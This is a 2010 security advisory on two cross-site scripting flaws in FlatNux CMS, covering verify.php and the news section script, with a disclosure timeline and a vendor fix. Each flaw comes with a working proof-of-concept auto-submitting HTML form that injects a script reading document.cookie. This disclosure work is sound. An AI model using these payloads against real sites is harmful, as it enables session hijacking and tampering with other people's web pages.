Cross-site Scripting (XSS) Vulnerabilities in FlatNux CMS
| Advisory ID: | HTB22402 |
| Product: | FlatNux |
| Vendor: | Alessandro Vernassa |
| Vulnerable Versions: | flatnux-2010-03.25 and probably prior |
| Tested Version: | flatnux-2010-03.25 |
| Advisory Publication: | May 25, 2010 [without technical details] |
| Vendor Notification: | May 25, 2010 |
| Public Disclosure: | June 8, 2010 |
| Latest Update: | June 11, 2010 |
| Vulnerability Type: | Cross-Site Scripting [CWE-79] |
| Risk Level: | Medium |
|  |
| CVSSv2 Base Score: | 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in FlatNux CMS which could be exploited to perform cross-site scripting attacks.
1) Cross-site scripting (XSS) vulnerabilities in FlatNux CMS
1.1 The vulnerability exists due to input sanitation error in the "body" parameter in verify.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/verify.php" method="post" name="main" >
<input type="hidden" name="mod" value="modcont" />
<input type="hidden" name="from" value="/controlcenter.php?mod=controlcenter" />
<input type="hidden" name="file" value="misc/motd.en.php" />
<input type="hidden" name="linktolocal" value="misc/motd.en.php" />
<input type="hidden" name="linktolocal" value="misc/motd.en.php" />
<input type="hidden" name="body" value='welcome to flatnux..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="file" value="misc/motd.en.php" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to input sanitation error in the "head" parameter in sections/00_News/section.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/index.php?mod=news" method="post" name="main" >
<input type="hidden" name="mod" value="news" />
<input type="hidden" name="op" value="applymodnews" />
<input type="hidden" name="filenews" value="misc/news/en/1274531214.xml" /><!-- en/1274531214.xml - news id from site -->
<input type="hidden" name="title" value="news title" />
<input type="hidden" name="icon" value="" />
<input type="hidden" name="head" value='news pre text..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="body" value="news body" />
<input type="hidden" name="locked" value="1" />
<input type="hidden" name="mode" value="Save" />
</form>
<script>
document.main.submit();
</script>
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Solution: |
| Fixed in version 2010-05.31 |
| |
References: |
[1] High-Tech Bridge Advisory HTB22402 - https://www.immuniweb.com/advisory/HTB22402 - Cross-site Scripting (XSS) Vulnerabilities in FlatNux CMS
[2] FlatNux CMS - www.flatnux.altervista.org - Flatnux is a CMS (Content Management System) that makes no use of DBMS, but only text files. I
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
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